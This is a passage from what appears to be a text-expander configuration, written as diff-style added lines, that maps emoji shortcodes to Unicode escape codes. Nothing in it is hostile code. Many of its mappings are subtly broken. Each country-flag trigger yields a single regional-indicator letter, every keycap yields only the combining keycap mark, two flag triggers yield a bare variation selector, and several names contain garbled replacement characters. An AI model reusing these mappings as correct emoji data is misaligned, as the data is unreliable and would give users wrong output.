":film_projector:" + replace: "\U0001F4FD" + - trigger: ":clapper_board:" + replace: "\U0001F3AC" + - trigger: ":television:" + replace: "\U0001F4FA" + - trigger: ":camera:" + replace: "\U0001F4F7" + - trigger: ":camera_with_flash:" + replace: "\U0001F4F8" + - trigger: ":video_camera:" + replace: "\U0001F4F9" + - trigger: ":videocassette:" + replace: "\U0001F4FC" + - trigger: ":magnifying_glass_tilted_left:" + replace: "\U0001F50D" + - trigger: ":magnifying_glass_tilted_right:" + replace: "\U0001F50E" + - trigger: ":candle:" + replace: "\U0001F56F" + - trigger: ":light_bulb:" + replace: "\U0001F4A1" + - trigger: ":flashlight:" + replace: "\U0001F526" + - trigger: ":red_paper_lantern:" + replace: "\U0001F3EE" + - trigger: ":diya_lamp:" + replace: "\U0001FA94" + - trigger: ":notebook_with_decorative_cover:" + replace: "\U0001F4D4" + - trigger: ":closed_book:" + replace: "\U0001F4D5" + - trigger: ":open_book:" + replace: "\U0001F4D6" + - trigger: ":green_book:" + replace: "\U0001F4D7" + - trigger: ":blue_book:" + replace: "\U0001F4D8" + - trigger: ":orange_book:" + replace: "\U0001F4D9" + - trigger: ":books:" + replace: "\U0001F4DA" + - trigger: ":notebook:" + replace: "\U0001F4D3" + - trigger: ":ledger:" + replace: "\U0001F4D2" + - trigger: ":page_with_curl:" + replace: "\U0001F4C3" + - trigger: ":scroll:" + replace: "\U0001F4DC" + - trigger: ":page_facing_up:" + replace: "\U0001F4C4" + - trigger: ":newspaper:" + replace: "\U0001F4F0" + - trigger: ":rolled_up_newspaper:" + replace: "\U0001F5DE" + - trigger: ":bookmark_tabs:" + replace: "\U0001F4D1" + - trigger: ":bookmark:" + replace: "\U0001F516" + - trigger: ":label:" + replace: "\U0001F3F7" + - trigger: ":money_bag:" + replace: "\U0001F4B0" + - trigger: ":coin:" + replace: "\U0001FA99" + - trigger: ":yen_banknote:" + replace: "\U0001F4B4" + - trigger: ":dollar_banknote:" + replace: "\U0001F4B5" + - trigger: ":euro_banknote:" + replace: "\U0001F4B6" + - trigger: ":pound_banknote:" + replace: "\U0001F4B7" + - trigger: ":money_with_wings:" + replace: "\U0001F4B8" + - trigger: ":credit_card:" + replace: "\U0001F4B3" + - trigger: ":receipt:" + replace: "\U0001F9FE" + - trigger: ":chart_increasing_with_yen:" + replace: "\U0001F4B9" + - trigger: ":envelope:" + replace: "\U00002709" + - trigger: ":e_mail:" + replace: "\U0001F4E7" + - trigger: ":incoming_envelope:" + replace: "\U0001F4E8" + - trigger: ":envelope_with_arrow:" + replace: "\U0001F4E9" + - trigger: ":outbox_tray:" + replace: "\U0001F4E4" + - trigger: ":inbox_tray:" + replace: "\U0001F4E5" + - trigger: ":package:" + replace: "\U0001F4E6" + - trigger: ":closed_mailbox_with_raised_flag:" + replace: "\U0001F4EB" + - trigger: ":closed_mailbox_with_lowered_flag:" + replace: "\U0001F4EA" + - trigger: ":open_mailbox_with_raised_flag:" + replace: "\U0001F4EC" + - trigger: ":open_mailbox_with_lowered_flag:" + replace: "\U0001F4ED" + - trigger: ":postbox:" + replace: "\U0001F4EE" + - trigger: ":ballot_box_with_ballot:" + replace: "\U0001F5F3" + - trigger: ":pencil:" + replace: "\U0000270F" + - trigger: ":black_nib:" + replace: "\U00002712" + - trigger: ":fountain_pen:" + replace: "\U0001F58B" + - trigger: ":pen:" + replace: "\U0001F58A" + - trigger: ":paintbrush:" + replace: "\U0001F58C" + - trigger: ":crayon:" + replace: "\U0001F58D" + - trigger: ":memo:" + replace: "\U0001F4DD" + - trigger: ":briefcase:" + replace: "\U0001F4BC" + - trigger: ":file_folder:" + replace: "\U0001F4C1" + - trigger: ":open_file_folder:" + replace: "\U0001F4C2" + - trigger: ":card_index_dividers:" + replace: "\U0001F5C2" + - trigger: ":calendar:" + replace: "\U0001F4C5" + - trigger: ":tear_off_calendar:" + replace: "\U0001F4C6" + - trigger: ":spiral_notepad:" + replace: "\U0001F5D2" + - trigger: ":spiral_calendar:" + replace: "\U0001F5D3" + - trigger: ":card_index:" + replace: "\U0001F4C7" + - trigger: ":chart_increasing:" + replace: "\U0001F4C8" + - trigger: ":chart_decreasing:" + replace: "\U0001F4C9" + - trigger: ":bar_chart:" + replace: "\U0001F4CA" + - trigger: ":clipboard:" + replace: "\U0001F4CB" + - trigger: ":pushpin:" + replace: "\U0001F4CC" + - trigger: ":round_pushpin:" + replace: "\U0001F4CD" + - trigger: ":paperclip:" + replace: "\U0001F4CE" + - trigger: ":linked_paperclips:" + replace: "\U0001F587" + - trigger: ":straight_ruler:" + replace: "\U0001F4CF" + - trigger: ":triangular_ruler:" + replace: "\U0001F4D0" + - trigger: ":scissors:" + replace: "\U00002702" + - trigger: ":card_file_box:" + replace: "\U0001F5C3" + - trigger: ":file_cabinet:" + replace: "\U0001F5C4" + - trigger: ":wastebasket:" + replace: "\U0001F5D1" + - trigger: ":locked:" + replace: "\U0001F512" + - trigger: ":unlocked:" + replace: "\U0001F513" + - trigger: ":locked_with_pen:" + replace: "\U0001F50F" + - trigger: ":locked_with_key:" + replace: "\U0001F510" + - trigger: ":key:" + replace: "\U0001F511" + - trigger: ":old_key:" + replace: "\U0001F5DD" + - trigger: ":hammer:" + replace: "\U0001F528" + - trigger: ":axe:" + replace: "\U0001FA93" + - trigger: ":pick:" + replace: "\U000026CF" + - trigger: ":hammer_and_pick:" + replace: "\U00002692" + - trigger: ":hammer_and_wrench:" + replace: "\U0001F6E0" + - trigger: ":dagger:" + replace: "\U0001F5E1" + - trigger: ":crossed_swords:" + replace: "\U00002694" + - trigger: ":water_pistol:" + replace: "\U0001F52B" + - trigger: ":boomerang:" + replace: "\U0001FA83" + - trigger: ":bow_and_arrow:" + replace: "\U0001F3F9" + - trigger: ":shield:" + replace: "\U0001F6E1" + - trigger: ":carpentry_saw:" + replace: "\U0001FA9A" + - trigger: ":wrench:" + replace: "\U0001F527" + - trigger: ":screwdriver:" + replace: "\U0001FA9B" + - trigger: ":nut_and_bolt:" + replace: "\U0001F529" + - trigger: ":gear:" + replace: "\U00002699" + - trigger: ":clamp:" + replace: "\U0001F5DC" + - trigger: ":balance_scale:" + replace: "\U00002696" + - trigger: ":white_cane:" + replace: "\U0001F9AF" + - trigger: ":link:" + replace: "\U0001F517" + - trigger: ":chains:" + replace: "\U000026D3" + - trigger: ":hook:" + replace: "\U0001FA9D" + - trigger: ":toolbox:" + replace: "\U0001F9F0" + - trigger: ":magnet:" + replace: "\U0001F9F2" + - trigger: ":ladder:" + replace: "\U0001FA9C" + - trigger: ":alembic:" + replace: "\U00002697" + - trigger: ":test_tube:" + replace: "\U0001F9EA" + - trigger: ":petri_dish:" + replace: "\U0001F9EB" + - trigger: ":dna:" + replace: "\U0001F9EC" + - trigger: ":microscope:" + replace: "\U0001F52C" + - trigger: ":telescope:" + replace: "\U0001F52D" + - trigger: ":satellite_antenna:" + replace: "\U0001F4E1" + - trigger: ":syringe:" + replace: "\U0001F489" + - trigger: ":drop_of_blood:" + replace: "\U0001FA78" + - trigger: ":pill:" + replace: "\U0001F48A" + - trigger: ":adhesive_bandage:" + replace: "\U0001FA79" + - trigger: ":crutch:" + replace: "\U0001FA7C" + - trigger: ":stethoscope:" + replace: "\U0001FA7A" + - trigger: ":x_ray:" + replace: "\U0001FA7B" + - trigger: ":door:" + replace: "\U0001F6AA" + - trigger: ":elevator:" + replace: "\U0001F6D7" + - trigger: ":mirror:" + replace: "\U0001FA9E" + - trigger: ":window:" + replace: "\U0001FA9F" + - trigger: ":bed:" + replace: "\U0001F6CF" + - trigger: ":couch_and_lamp:" + replace: "\U0001F6CB" + - trigger: ":chair:" + replace: "\U0001FA91" + - trigger: ":toilet:" + replace: "\U0001F6BD" + - trigger: ":plunger:" + replace: "\U0001FAA0" + - trigger: ":shower:" + replace: "\U0001F6BF" + - trigger: ":bathtub:" + replace: "\U0001F6C1" + - trigger: ":mouse_trap:" + replace: "\U0001FAA4" + - trigger: ":razor:" + replace: "\U0001FA92" + - trigger: ":lotion_bottle:" + replace: "\U0001F9F4" + - trigger: ":safety_pin:" + replace: "\U0001F9F7" + - trigger: ":broom:" + replace: "\U0001F9F9" + - trigger: ":basket:" + replace: "\U0001F9FA" + - trigger: ":roll_of_paper:" + replace: "\U0001F9FB" + - trigger: ":bucket:" + replace: "\U0001FAA3" + - trigger: ":soap:" + replace: "\U0001F9FC" + - trigger: ":bubbles:" + replace: "\U0001FAE7" + - trigger: ":toothbrush:" + replace: "\U0001FAA5" + - trigger: ":sponge:" + replace: "\U0001F9FD" + - trigger: ":fire_extinguisher:" + replace: "\U0001F9EF" + - trigger: ":shopping_cart:" + replace: "\U0001F6D2" + - trigger: ":cigarette:" + replace: "\U0001F6AC" + - trigger: ":coffin:" + replace: "\U000026B0" + - trigger: ":headstone:" + replace: "\U0001FAA6" + - trigger: ":funeral_urn:" + replace: "\U000026B1" + - trigger: ":moai:" + replace: "\U0001F5FF" + - trigger: ":placard:" + replace: "\U0001FAA7" + - trigger: ":identification_card:" + replace: "\U0001FAAA" + - trigger: ":atm_sign:" + replace: "\U0001F3E7" + - trigger: ":litter_in_bin_sign:" + replace: "\U0001F6AE" + - trigger: ":potable_water:" + replace: "\U0001F6B0" + - trigger: ":wheelchair_symbol:" + replace: "\U0000267F" + - trigger: ":mens_room:" + replace: "\U0001F6B9" + - trigger: ":womens_room:" + replace: "\U0001F6BA" + - trigger: ":restroom:" + replace: "\U0001F6BB" + - trigger: ":baby_symbol:" + replace: "\U0001F6BC" + - trigger: ":water_closet:" + replace: "\U0001F6BE" + - trigger: ":passport_control:" + replace: "\U0001F6C2" + - trigger: ":customs:" + replace: "\U0001F6C3" + - trigger: ":baggage_claim:" + replace: "\U0001F6C4" + - trigger: ":left_luggage:" + replace: "\U0001F6C5" + - trigger: ":warning:" + replace: "\U000026A0" + - trigger: ":children_crossing:" + replace: "\U0001F6B8" + - trigger: ":no_entry:" + replace: "\U000026D4" + - trigger: ":prohibited:" + replace: "\U0001F6AB" + - trigger: ":no_bicycles:" + replace: "\U0001F6B3" + - trigger: ":no_smoking:" + replace: "\U0001F6AD" + - trigger: ":no_littering:" + replace: "\U0001F6AF" + - trigger: ":non_potable_water:" + replace: "\U0001F6B1" + - trigger: ":no_pedestrians:" + replace: "\U0001F6B7" + - trigger: ":no_mobile_phones:" + replace: "\U0001F4F5" + - trigger: ":no_one_under_eighteen:" + replace: "\U0001F51E" + - trigger: ":radioactive:" + replace: "\U00002622" + - trigger: ":biohazard:" + replace: "\U00002623" + - trigger: ":up_arrow:" + replace: "\U00002B06" + - trigger: ":up_right_arrow:" + replace: "\U00002197" + - trigger: ":right_arrow:" + replace: "\U000027A1" + - trigger: ":down_right_arrow:" + replace: "\U00002198" + - trigger: ":down_arrow:" + replace: "\U00002B07" + - trigger: ":down_left_arrow:" + replace: "\U00002199" + - trigger: ":left_arrow:" + replace: "\U00002B05" + - trigger: ":up_left_arrow:" + replace: "\U00002196" + - trigger: ":up_down_arrow:" + replace: "\U00002195" + - trigger: ":left_right_arrow:" + replace: "\U00002194" + - trigger: ":right_arrow_curving_left:" + replace: "\U000021A9" + - trigger: ":left_arrow_curving_right:" + replace: "\U000021AA" + - trigger: ":right_arrow_curving_up:" + replace: "\U00002934" + - trigger: ":right_arrow_curving_down:" + replace: "\U00002935" + - trigger: ":clockwise_vertical_arrows:" + replace: "\U0001F503" + - trigger: ":counterclockwise_arrows_button:" + replace: "\U0001F504" + - trigger: ":back_arrow:" + replace: "\U0001F519" + - trigger: ":end_arrow:" + replace: "\U0001F51A" + - trigger: ":on!_arrow:" + replace: "\U0001F51B" + - trigger: ":soon_arrow:" + replace: "\U0001F51C" + - trigger: ":top_arrow:" + replace: "\U0001F51D" + - trigger: ":place_of_worship:" + replace: "\U0001F6D0" + - trigger: ":atom_symbol:" + replace: "\U0000269B" + - trigger: ":om:" + replace: "\U0001F549" + - trigger: ":star_of_david:" + replace: "\U00002721" + - trigger: ":wheel_of_dharma:" + replace: "\U00002638" + - trigger: ":yin_yang:" + replace: "\U0000262F" + - trigger: ":latin_cross:" + replace: "\U0000271D" + - trigger: ":orthodox_cross:" + replace: "\U00002626" + - trigger: ":star_and_crescent:" + replace: "\U0000262A" + - trigger: ":peace_symbol:" + replace: "\U0000262E" + - trigger: ":menorah:" + replace: "\U0001F54E" + - trigger: ":dotted_six_pointed_star:" + replace: "\U0001F52F" + - trigger: ":aries:" + replace: "\U00002648" + - trigger: ":taurus:" + replace: "\U00002649" + - trigger: ":gemini:" + replace: "\U0000264A" + - trigger: ":cancer:" + replace: "\U0000264B" + - trigger: ":leo:" + replace: "\U0000264C" + - trigger: ":virgo:" + replace: "\U0000264D" + - trigger: ":libra:" + replace: "\U0000264E" + - trigger: ":scorpio:" + replace: "\U0000264F" + - trigger: ":sagittarius:" + replace: "\U00002650" + - trigger: ":capricorn:" + replace: "\U00002651" + - trigger: ":aquarius:" + replace: "\U00002652" + - trigger: ":pisces:" + replace: "\U00002653" + - trigger: ":ophiuchus:" + replace: "\U000026CE" + - trigger: ":shuffle_tracks_button:" + replace: "\U0001F500" + - trigger: ":repeat_button:" + replace: "\U0001F501" + - trigger: ":repeat_single_button:" + replace: "\U0001F502" + - trigger: ":play_button:" + replace: "\U000025B6" + - trigger: ":fast_forward_button:" + replace: "\U000023E9" + - trigger: ":next_track_button:" + replace: "\U000023ED" + - trigger: ":play_or_pause_button:" + replace: "\U000023EF" + - trigger: ":reverse_button:" + replace: "\U000025C0" + - trigger: ":fast_reverse_button:" + replace: "\U000023EA" + - trigger: ":last_track_button:" + replace: "\U000023EE" + - trigger: ":upwards_button:" + replace: "\U0001F53C" + - trigger: ":fast_up_button:" + replace: "\U000023EB" + - trigger: ":downwards_button:" + replace: "\U0001F53D" + - trigger: ":fast_down_button:" + replace: "\U000023EC" + - trigger: ":pause_button:" + replace: "\U000023F8" + - trigger: ":stop_button:" + replace: "\U000023F9" + - trigger: ":record_button:" + replace: "\U000023FA" + - trigger: ":eject_button:" + replace: "\U000023CF" + - trigger: ":cinema:" + replace: "\U0001F3A6" + - trigger: ":dim_button:" + replace: "\U0001F505" + - trigger: ":bright_button:" + replace: "\U0001F506" + - trigger: ":antenna_bars:" + replace: "\U0001F4F6" + - trigger: ":vibration_mode:" + replace: "\U0001F4F3" + - trigger: ":mobile_phone_off:" + replace: "\U0001F4F4" + - trigger: ":female_sign:" + replace: "\U00002640" + - trigger: ":male_sign:" + replace: "\U00002642" + - trigger: ":transgender_symbol:" + replace: "\U000026A7" + - trigger: ":multiply:" + replace: "\U00002716" + - trigger: ":plus:" + replace: "\U00002795" + - trigger: ":minus:" + replace: "\U00002796" + - trigger: ":divide:" + replace: "\U00002797" + - trigger: ":heavy_equals_sign:" + replace: "\U0001F7F0" + - trigger: ":infinity:" + replace: "\U0000267E" + - trigger: ":double_exclamation_mark:" + replace: "\U0000203C" + - trigger: ":exclamation_question_mark:" + replace: "\U00002049" + - trigger: ":red_question_mark:" + replace: "\U00002753" + - trigger: ":white_question_mark:" + replace: "\U00002754" + - trigger: ":white_exclamation_mark:" + replace: "\U00002755" + - trigger: ":red_exclamation_mark:" + replace: "\U00002757" + - trigger: ":wavy_dash:" + replace: "\U00003030" + - trigger: ":currency_exchange:" + replace: "\U0001F4B1" + - trigger: ":heavy_dollar_sign:" + replace: "\U0001F4B2" + - trigger: ":medical_symbol:" + replace: "\U00002695" + - trigger: ":recycling_symbol:" + replace: "\U0000267B" + - trigger: ":fleur_de_lis:" + replace: "\U0000269C" + - trigger: ":trident_emblem:" + replace: "\U0001F531" + - trigger: ":name_badge:" + replace: "\U0001F4DB" + - trigger: ":japanese_symbol_for_beginner:" + replace: "\U0001F530" + - trigger: ":hollow_red_circle:" + replace: "\U00002B55" + - trigger: ":check_mark_button:" + replace: "\U00002705" + - trigger: ":check_box_with_check:" + replace: "\U00002611" + - trigger: ":check_mark:" + replace: "\U00002714" + - trigger: ":cross_mark:" + replace: "\U0000274C" + - trigger: ":cross_mark_button:" + replace: "\U0000274E" + - trigger: ":curly_loop:" + replace: "\U000027B0" + - trigger: ":double_curly_loop:" + replace: "\U000027BF" + - trigger: ":part_alternation_mark:" + replace: "\U0000303D" + - trigger: ":eight_spoked_asterisk:" + replace: "\U00002733" + - trigger: ":eight_pointed_star:" + replace: "\U00002734" + - trigger: ":sparkle:" + replace: "\U00002747" + - trigger: ":copyright:" + replace: "\U000000A9" + - trigger: ":registered:" + replace: "\U000000AE" + - trigger: ":trade_mark:" + replace: "\U00002122" + - trigger: ":keycap_#:" + replace: "\U000020E3" + - trigger: ":keycap_*:" + replace: "\U000020E3" + - trigger: ":keycap_0:" + replace: "\U000020E3" + - trigger: ":keycap_1:" + replace: "\U000020E3" + - trigger: ":keycap_2:" + replace: "\U000020E3" + - trigger: ":keycap_3:" + replace: "\U000020E3" + - trigger: ":keycap_4:" + replace: "\U000020E3" + - trigger: ":keycap_5:" + replace: "\U000020E3" + - trigger: ":keycap_6:" + replace: "\U000020E3" + - trigger: ":keycap_7:" + replace: "\U000020E3" + - trigger: ":keycap_8:" + replace: "\U000020E3" + - trigger: ":keycap_9:" + replace: "\U000020E3" + - trigger: ":keycap_10:" + replace: "\U0001F51F" + - trigger: ":input_latin_uppercase:" + replace: "\U0001F520" + - trigger: ":input_latin_lowercase:" + replace: "\U0001F521" + - trigger: ":input_numbers:" + replace: "\U0001F522" + - trigger: ":input_symbols:" + replace: "\U0001F523" + - trigger: ":input_latin_letters:" + replace: "\U0001F524" + - trigger: ":a_button_(blood_type):" + replace: "\U0001F170" + - trigger: ":ab_button_(blood_type):" + replace: "\U0001F18E" + - trigger: ":b_button_(blood_type):" + replace: "\U0001F171" + - trigger: ":cl_button:" + replace: "\U0001F191" + - trigger: ":cool_button:" + replace: "\U0001F192" + - trigger: ":free_button:" + replace: "\U0001F193" + - trigger: ":information:" + replace: "\U00002139" + - trigger: ":id_button:" + replace: "\U0001F194" + - trigger: ":circled_m:" + replace: "\U000024C2" + - trigger: ":new_button:" + replace: "\U0001F195" + - trigger: ":ng_button:" + replace: "\U0001F196" + - trigger: ":o_button_(blood_type):" + replace: "\U0001F17E" + - trigger: ":ok_button:" + replace: "\U0001F197" + - trigger: ":p_button:" + replace: "\U0001F17F" + - trigger: ":sos_button:" + replace: "\U0001F198" + - trigger: ":up!_button:" + replace: "\U0001F199" + - trigger: ":vs_button:" + replace: "\U0001F19A" + - trigger: ":japanese__here__button:" + replace: "\U0001F201" + - trigger: ":japanese__service_charge__button:" + replace: "\U0001F202" + - trigger: ":japanese__monthly_amount__button:" + replace: "\U0001F237" + - trigger: ":japanese__not_free_of_charge__button:" + replace: "\U0001F236" + - trigger: ":japanese__reserved__button:" + replace: "\U0001F22F" + - trigger: ":japanese__bargain__button:" + replace: "\U0001F250" + - trigger: ":japanese__discount__button:" + replace: "\U0001F239" + - trigger: ":japanese__free_of_charge__button:" + replace: "\U0001F21A" + - trigger: ":japanese__prohibited__button:" + replace: "\U0001F232" + - trigger: ":japanese__acceptable__button:" + replace: "\U0001F251" + - trigger: ":japanese__application__button:" + replace: "\U0001F238" + - trigger: ":japanese__passing_grade__button:" + replace: "\U0001F234" + - trigger: ":japanese__vacancy__button:" + replace: "\U0001F233" + - trigger: ":japanese__congratulations__button:" + replace: "\U00003297" + - trigger: ":japanese__secret__button:" + replace: "\U00003299" + - trigger: ":japanese__open_for_business__button:" + replace: "\U0001F23A" + - trigger: ":japanese__no_vacancy__button:" + replace: "\U0001F235" + - trigger: ":red_circle:" + replace: "\U0001F534" + - trigger: ":orange_circle:" + replace: "\U0001F7E0" + - trigger: ":yellow_circle:" + replace: "\U0001F7E1" + - trigger: ":green_circle:" + replace: "\U0001F7E2" + - trigger: ":blue_circle:" + replace: "\U0001F535" + - trigger: ":purple_circle:" + replace: "\U0001F7E3" + - trigger: ":brown_circle:" + replace: "\U0001F7E4" + - trigger: ":black_circle:" + replace: "\U000026AB" + - trigger: ":white_circle:" + replace: "\U000026AA" + - trigger: ":red_square:" + replace: "\U0001F7E5" + - trigger: ":orange_square:" + replace: "\U0001F7E7" + - trigger: ":yellow_square:" + replace: "\U0001F7E8" + - trigger: ":green_square:" + replace: "\U0001F7E9" + - trigger: ":blue_square:" + replace: "\U0001F7E6" + - trigger: ":purple_square:" + replace: "\U0001F7EA" + - trigger: ":brown_square:" + replace: "\U0001F7EB" + - trigger: ":black_large_square:" + replace: "\U00002B1B" + - trigger: ":white_large_square:" + replace: "\U00002B1C" + - trigger: ":black_medium_square:" + replace: "\U000025FC" + - trigger: ":white_medium_square:" + replace: "\U000025FB" + - trigger: ":black_medium_small_square:" + replace: "\U000025FE" + - trigger: ":white_medium_small_square:" + replace: "\U000025FD" + - trigger: ":black_small_square:" + replace: "\U000025AA" + - trigger: ":white_small_square:" + replace: "\U000025AB" + - trigger: ":large_orange_diamond:" + replace: "\U0001F536" + - trigger: ":large_blue_diamond:" + replace: "\U0001F537" + - trigger: ":small_orange_diamond:" + replace: "\U0001F538" + - trigger: ":small_blue_diamond:" + replace: "\U0001F539" + - trigger: ":red_triangle_pointed_up:" + replace: "\U0001F53A" + - trigger: ":red_triangle_pointed_down:" + replace: "\U0001F53B" + - trigger: ":diamond_with_a_dot:" + replace: "\U0001F4A0" + - trigger: ":radio_button:" + replace: "\U0001F518" + - trigger: ":white_square_button:" + replace: "\U0001F533" + - trigger: ":black_square_button:" + replace: "\U0001F532" + - trigger: ":chequered_flag:" + replace: "\U0001F3C1" + - trigger: ":triangular_flag:" + replace: "\U0001F6A9" + - trigger: ":crossed_flags:" + replace: "\U0001F38C" + - trigger: ":black_flag:" + replace: "\U0001F3F4" + - trigger: ":white_flag:" + replace: "\U0001F3F3" + - trigger: ":rainbow_flag:" + replace: "\U0001F308" + - trigger: ":transgender_flag:" + replace: "\U0000FE0F" + - trigger: ":pirate_flag:" + replace: "\U0000FE0F" + - trigger: ":ascension_island:" + replace: "\U0001F1E8" + - trigger: ":andorra:" + replace: "\U0001F1E9" + - trigger: ":united_arab_emirates:" + replace: "\U0001F1EA" + - trigger: ":afghanistan:" + replace: "\U0001F1EB" + - trigger: ":antigua_&_barbuda:" + replace: "\U0001F1EC" + - trigger: ":anguilla:" + replace: "\U0001F1EE" + - trigger: ":albania:" + replace: "\U0001F1F1" + - trigger: ":armenia:" + replace: "\U0001F1F2" + - trigger: ":angola:" + replace: "\U0001F1F4" + - trigger: ":antarctica:" + replace: "\U0001F1F6" + - trigger: ":argentina:" + replace: "\U0001F1F7" + - trigger: ":american_samoa:" + replace: "\U0001F1F8" + - trigger: ":austria:" + replace: "\U0001F1F9" + - trigger: ":australia:" + replace: "\U0001F1FA" + - trigger: ":aruba:" + replace: "\U0001F1FC" + - trigger: ":�land_islands:" + replace: "\U0001F1FD" + - trigger: ":azerbaijan:" + replace: "\U0001F1FF" + - trigger: ":bosnia_&_herzegovina:" + replace: "\U0001F1E6" + - trigger: ":barbados:" + replace: "\U0001F1E7" + - trigger: ":bangladesh:" + replace: "\U0001F1E9" + - trigger: ":belgium:" + replace: "\U0001F1EA" + - trigger: ":burkina_faso:" + replace: "\U0001F1EB" + - trigger: ":bulgaria:" + replace: "\U0001F1EC" + - trigger: ":bahrain:" + replace: "\U0001F1ED" + - trigger: ":burundi:" + replace: "\U0001F1EE" + - trigger: ":benin:" + replace: "\U0001F1EF" + - trigger: ":st_barth�lemy:" + replace: "\U0001F1F1" + - trigger: ":bermuda:" + replace: "\U0001F1F2" + - trigger: ":brunei:" + replace: "\U0001F1F3" + - trigger: ":bolivia:" + replace: "\U0001F1F4" + - trigger: ":caribbean_netherlands:" + replace: "\U0001F1F6" + - trigger: ":brazil:" + replace: "\U0001F1F7" + - trigger: ":bahamas:" + replace: "\U0001F1F8" + - trigger: ":bhutan:" + replace: "\U0001F1F9" + - trigger: ":bouvet_island:" + replace: "\U0001F1FB" + - trigger: ":botswana:" + replace: "\U0001F1FC" + - trigger: ":belarus:" + replace: "\U0001F1FE" + - trigger: ":belize:" + replace: "\U0001F1FF" + - trigger: ":canada:" + replace: "\U0001F1E6" + - trigger: ":cocos_(keeling)_islands:" + replace: "\U0001F1E8" + - trigger: ":congo___kinshasa:" + replace: "\U0001F1E9" + - trigger: ":central_african_republic:" + replace: "\U0001F1EB" + - trigger: ":congo___brazzaville:" + replace: "\U0001F1EC" + - trigger: ":switzerland:" + replace: "\U0001F1ED" + - trigger: ":c�te_divoire:" + replace: "\U0001F1EE" + - trigger: ":cook_islands:" + replace: "\U0001F1F0" + - trigger: ":chile:" + replace: "\U0001F1F1" + - trigger: ":cameroon:" + replace: "\U0001F1F2" + - trigger: ":china:" + replace: "\U0001F1F3" + - trigger: ":colombia:" + replace: "\U0001F1F4" + - trigger: ":clipperton_island:" + replace: "\U0001F1F5" + - trigger: ":costa_rica:" + replace: "\U0001F1F7" + - trigger: ":cuba:" + replace: "\U0001F1FA" + - trigger: ":cape_verde:" + replace: "\U0001F1FB" + - trigger: ":cura�ao:" + replace: "\U0001F1FC" + - trigger: ":christmas_island:" + replace: "\U0001F1FD" + - trigger: ":cyprus:" + replace: "\U0001F1FE" + - trigger: ":czechia:" + replace: "\U0001F1FF" + - trigger: ":germany:" + replace: "\U0001F1EA" + - trigger: ":diego_garcia:" + replace: "\U0001F1EC" + - trigger: ":djibouti:" + replace: "\U0001F1EF" + - trigger: ":denmark:" + replace: "\U0001F1F0" + - trigger: ":dominica:" + replace: "\U0001F1F2" + - trigger: ":dominican_republic:" + replace: "\U0001F1F4" + - trigger: ":algeria:" + replace: "\U0001F1FF" + - trigger: ":ceuta_&_melilla:" + replace: "\U0001F1E6" + - trigger: ":ecuador:" + replace: "\U0001F1E8" + - trigger: ":estonia:" + replace: "\U0001F1EA" + - trigger: ":egypt:" + replace: "\U0001F1EC" + - trigger: ":western_sahara:" + replace: "\U0001F1ED" + - trigger: ":eritrea:" + replace: "\U0001F1F7" + - trigger: ":spain:" + replace: "\U0001F1F8" + - trigger: ":ethiopia:" + replace: "\U0001F1F9" + - trigger: ":european_union:" + replace: "\U0001F1FA" + - trigger: ":finland:" + replace: "\U0001F1EE" + - trigger: ":fiji:" + replace: "\U0001F1EF" + - trigger: ":falkland_islands:" + replace: "\U0001F1F0" + - trigger: ":micronesia:" + replace: "\U0001F1F2" + - trigger: ":faroe_islands:" + replace: "\U0001F1F4" + - trigger: ":france:" + replace: "\U0001F1F7" + - trigger: ":gabon:" + replace: "\U0001F1E6" + - trigger: ":united_kingdom:" + replace: "\U0001F1E7" + - trigger: ":grenada:" + replace: "\U0001F1E9" + - trigger: ":georgia:" + replace: "\U0001F1EA" + - trigger: ":french_guiana:" + replace: "\U0001F1EB" + - trigger: ":guernsey:" + replace: "\U0001F1EC" + - trigger: ":ghana:" + replace: "\U0001F1ED" + - trigger: ":gibraltar:" + replace: "\U0001F1EE" + - trigger: ":greenland:" + replace: "\U0001F1F1" + - trigger: ":gambia:" + replace: "\U0001F1F2" + - trigger: ":guinea:" + replace: "\U0001F1F3" + - trigger: ":guadeloupe:" + replace: "\U0001F1F5" + - trigger: ":equatorial_guinea:" + replace: "\U0001F1F6" + - trigger: ":greece:" + replace: "\U0001F1F7" + - trigger: ":south_georgia_&_south_sandwich_islands:" + replace: "\U0001F1F8" + - trigger: ":guatemala:" + replace: "\U0001F1F9" + - trigger: ":guam:" + replace: "\U0001F1FA" + - trigger: ":guinea_bissau:" + replace: "\U0001F1FC" + - trigger: ":guyana:" + replace: "\U0001F1FE" + - trigger: ":hong_kong_sar_china:" + replace: "\U0001F1F0" + - trigger: ":heard_&_mcdonald_islands:" + replace: "\U0001F1F2" + - trigger: ":honduras:" + replace: "\U0001F1F3" + - trigger: ":croatia:" + replace: "\U0001F1F7" + - trigger: ":haiti:" + replace: "\U0001F1F9" + - trigger: ":hungary:" + replace: "\U0001F1FA" + - trigger: ":canary_islands:" + replace: "\U0001F1E8" + - trigger: ":indonesia:" + replace: "\U0001F1E9" + - trigger: ":ireland:" + replace: "\U0001F1EA" + - trigger: ":israel:" + replace: "\U0001F1F1" + - trigger: ":isle_of_man:" + replace: "\U0001F1F2" + - trigger: ":india:" + replace: "\U0001F1F3" + - trigger: ":british_indian_ocean_territory:" + replace: "\U0001F1F4" + - trigger: ":iraq:" + replace: "\U0001F1F6" + - trigger: ":iran:" + replace: "\U0001F1F7" + - trigger: ":iceland:" + replace: "\U0001F1F8" + - trigger: ":italy:" + replace: "\U0001F1F9" + - trigger: ":jersey:" + replace: "\U0001F1EA" + - trigger: ":jamaica:" + replace: "\U0001F1F2" + - trigger: ":jordan:" + replace: "\U0001F1F4" + - trigger: ":japan:" + replace: "\U0001F1F5" + - trigger: ":kenya:" + replace: "\U0001F1EA" + - trigger: ":kyrgyzstan:" + replace: "\U0001F1EC" + - trigger: ":cambodia:" + replace: "\U0001F1ED" + - trigger: ":kiribati:" + replace: "\U0001F1EE" + - trigger: ":comoros:" + replace: "\U0001F1F2" + - trigger: ":st_kitts_&_nevis:" + replace: "\U0001F1F3" + - trigger: ":north_korea:" + replace: "\U0001F1F5" + - trigger: ":south_korea:" + replace: "\U0001F1F7" + - trigger: ":kuwait:" + replace: "\U0001F1FC" + - trigger: ":cayman_islands:" + replace: "\U0001F1FE" + - trigger: ":kazakhstan:" + replace: "\U0001F1FF" + - trigger: ":laos:" + replace: "\U0001F1E6" + - trigger: ":lebanon:" + replace: "\U0001F1E7" + - trigger: ":st_lucia:" + replace: "\U0001F1E8" + - trigger: ":liechtenstein:" + replace: "\U0001F1EE" + - trigger: ":sri_lanka:" + replace: "\U0001F1F0" + - trigger: ":liberia:" + replace: "\U0001F1F7" + - trigger: ":lesotho:" + replace: "\U0001F1F8" + - trigger: ":lithuania:" + replace: "\U0001F1F9" + - 